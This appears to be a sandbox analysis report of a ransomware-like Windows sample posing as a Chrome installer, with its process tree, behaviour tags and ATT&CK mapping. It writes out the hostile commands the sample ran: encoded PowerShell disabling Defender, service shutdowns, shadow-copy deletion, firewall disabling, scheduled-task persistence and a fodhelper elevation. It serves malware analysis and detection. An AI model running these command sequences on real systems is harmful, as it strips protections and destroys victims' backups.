PID 5664 wrote to memory of 5128	5664	chrome.exe	96
PID 5664 wrote to memory of 5128	5664	chrome.exe	96
PID 5664 wrote to memory of 3160	5664	chrome.exe	97
PID 5664 wrote to memory of 3160	5664	chrome.exe	97
PID 5664 wrote to memory of 4808	5664	chrome.exe	98
PID 5664 wrote to memory of 4808	5664	chrome.exe	98
PID 4572 wrote to memory of 5820	4572	periodcalendarcherry.io_chrome.exe	100
PID 4572 wrote to memory of 2832	4572	periodcalendarcherry.io_chrome.exe	102
PID 5664 wrote to memory of 2504	5664	chrome.exe	163
PID 5664 wrote to memory of 2504	5664	chrome.exe	163
PID 5664 wrote to memory of 4172	5664	chrome.exe	105
PID 5664 wrote to memory of 4172	5664	chrome.exe	105
PID 4572 wrote to memory of 5116	4572	periodcalendarcherry.io_chrome.exe	106
PID 4572 wrote to memory of 2804	4572	periodcalendarcherry.io_chrome.exe	140
PID 4572 wrote to memory of 5788	4572	periodcalendarcherry.io_chrome.exe	110
PID 4572 wrote to memory of 4040	4572	periodcalendarcherry.io_chrome.exe	112
PID 4572 wrote to memory of 1872	4572	periodcalendarcherry.io_chrome.exe	114
PID 4572 wrote to memory of 1720	4572	periodcalendarcherry.io_chrome.exe	116
PID 4572 wrote to memory of 4612	4572	periodcalendarcherry.io_chrome.exe	118
PID 4572 wrote to memory of 4796	4572	periodcalendarcherry.io_chrome.exe	120
PID 1720 wrote to memory of 3812	1720	fodhelper.exe	122
PID 4572 wrote to memory of 6044	4572	periodcalendarcherry.io_chrome.exe	123
PID 4572 wrote to memory of 2512	4572	periodcalendarcherry.io_chrome.exe	195
PID 4572 wrote to memory of 1932	4572	periodcalendarcherry.io_chrome.exe	152
PID 4572 wrote to memory of 1460	4572	periodcalendarcherry.io_chrome.exe	133
PID 4572 wrote to memory of 1336	4572	periodcalendarcherry.io_chrome.exe	135
PID 4572 wrote to memory of 2152	4572	periodcalendarcherry.io_chrome.exe	141
PID 4572 wrote to memory of 2804	4572	periodcalendarcherry.io_chrome.exe	140
PID 4572 wrote to memory of 4192	4572	periodcalendarcherry.io_chrome.exe	143
PID 4572 wrote to memory of 5508	4572	periodcalendarcherry.io_chrome.exe	144
PID 4572 wrote to memory of 2824	4572	periodcalendarcherry.io_chrome.exe	145
PID 4572 wrote to memory of 5208	4572	periodcalendarcherry.io_chrome.exe	146
PID 4572 wrote to memory of 352	4572	periodcalendarcherry.io_chrome.exe	147
PID 4572 wrote to memory of 1248	4572	periodcalendarcherry.io_chrome.exe	148
PID 4572 wrote to memory of 4556	4572	periodcalendarcherry.io_chrome.exe	155
PID 4572 wrote to memory of 5452	4572	periodcalendarcherry.io_chrome.exe	156
PID 4572 wrote to memory of 4180	4572	periodcalendarcherry.io_chrome.exe	158
PID 4572 wrote to memory of 2500	4572	periodcalendarcherry.io_chrome.exe	159
PID 4572 wrote to memory of 1496	4572	periodcalendarcherry.io_chrome.exe	160
PID 4572 wrote to memory of 4128	4572	periodcalendarcherry.io_chrome.exe	161
PID 4572 wrote to memory of 1868	4572	periodcalendarcherry.io_chrome.exe	162
PID 4572 wrote to memory of 2504	4572	periodcalendarcherry.io_chrome.exe	163
PID 352 wrote to memory of 2912	352	cmd.exe	164
PID 2152 wrote to memory of 3200	2152	cmd.exe	171
PID 4192 wrote to memory of 4436	4192	cmd.exe	172
PID 1248 wrote to memory of 2996	1248	cmd.exe	173
PID 5208 wrote to memory of 2184	5208	cmd.exe	174
PID 2824 wrote to memory of 2148	2824	cmd.exe	175
PID 1496 wrote to memory of 4892	1496	net.exe	176
PID 2184 wrote to memory of 5884	2184	net.exe	177
PID 5508 wrote to memory of 3388	5508	cmd.exe	178
PID 5664 wrote to memory of 3724	5664	chrome.exe	180
PID 5664 wrote to memory of 2652	5664	chrome.exe	181
PID 5664 wrote to memory of 4160	5664	chrome.exe	182
PID 2152 wrote to memory of 4200	2152	cmd.exe	183
PID 5664 wrote to memory of 2056	5664	chrome.exe	198
PID 5664 wrote to memory of 3676	5664	chrome.exe	185

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4572
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://periodcalendarcherry.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ff89713c728,0x7ff89713c734,0x7ff89713c740
    3⤵
    PID:4212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,13515390806074490175,14507495671044370676,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=2068 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,12026167232059286281,950298298302094595,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=2240 /prefetch:13
    3⤵
    PID:1692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,15363477116860550132,3917192017207491453,262144 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:5128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3176,i,16047278349525283697,15252773758397541691,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=3316 /prefetch:1
    3⤵
    PID:3160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3184,i,11815039781502962459,18163498327794521471,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=3340 /prefetch:1
    3⤵
    PID:4808
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4700,i,10769487745576702577,15119917089513318280,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=4712 /prefetch:14
    3⤵
    PID:2504
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4876,i,2738345172352418524,6819357323508592478,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=4892 /prefetch:1
    3⤵
    PID:4172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3344,i,17277853157086060008,146681355630748502,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:14
    3⤵
    PID:3724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3544,i,8981613420209607781,9058628100326816464,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=3548 /prefetch:14
    3⤵
    PID:2652
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5540,i,2227892235065210420,1675341493501499611,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5644 /prefetch:14
    3⤵
    PID:4160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3500,i,3264220449930959295,7246333729398985285,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=3484 /prefetch:14
    3⤵
    PID:2056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5656,i,142777688164191479,17031829103214176326,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5740 /prefetch:1
    3⤵
    PID:3676
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5644,i,8206261104386722553,8772872784893127858,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:1
    3⤵
    PID:5312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5968,i,3425103388245120838,10736135844832453851,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:4448
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3344,i,10849862987296230462,15628484966220874011,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5724 /prefetch:14
    3⤵
    PID:5904
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=2804,i,2261983088674274885,11208314594237081428,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5944 /prefetch:1
    3⤵
    PID:5828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=5612,i,14131298737259115185,2897492606381367682,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:1
    3⤵
    PID:4284
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6240,i,17201804043040886102,11270012949368349390,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
    3⤵
    PID:5908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=3476,i,14631803010114038768,6495433556335697166,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=2804 /prefetch:1
    3⤵
    PID:2512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6156,i,10111479017486096964,7399391577930188147,524288 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
    3⤵
    PID:4584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=6168,i,12116281999624017907,4313208102160071357,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=6148 /prefetch:1
    3⤵
    PID:1944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=5716,i,10530911194618487007,9870338762666065131,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=3476 /prefetch:1
    3⤵
    PID:2056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=6012,i,13925608052085509263,7393101919129620475,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=4924 /prefetch:1
    3⤵
    PID:3772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=6196,i,6055452084139128471,17295201638945213695,2097152 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:9
    3⤵
    PID:2640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3548,i,273610544612882343,8711429402365262059,262144 --field-trial-handle=1912,i,10142264479246328769,3141679532108275124,262144 --variations-seed-version --mojo-platform-channel-handle=6324 /prefetch:10
    3⤵
    PID:5936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5904
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5820
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2832
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:5116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2804
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4040
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1872
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1720
- - C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe"
    3⤵
    PID:3812
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4612
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4796
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:6044
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1932
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1460
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1336
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3200
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4200
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4436
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5508
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:3388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1932
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2148
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5208
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2184
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5884
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:352
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:2912
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1248
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:2996
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4556
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5452
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4180
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2500
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4892
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4128
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1868
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:2504

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1916

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2836

C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe
1⤵
PID:5264

C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\periodcalendarcherry.io_chrome.exe
1⤵
PID:1648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:564

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

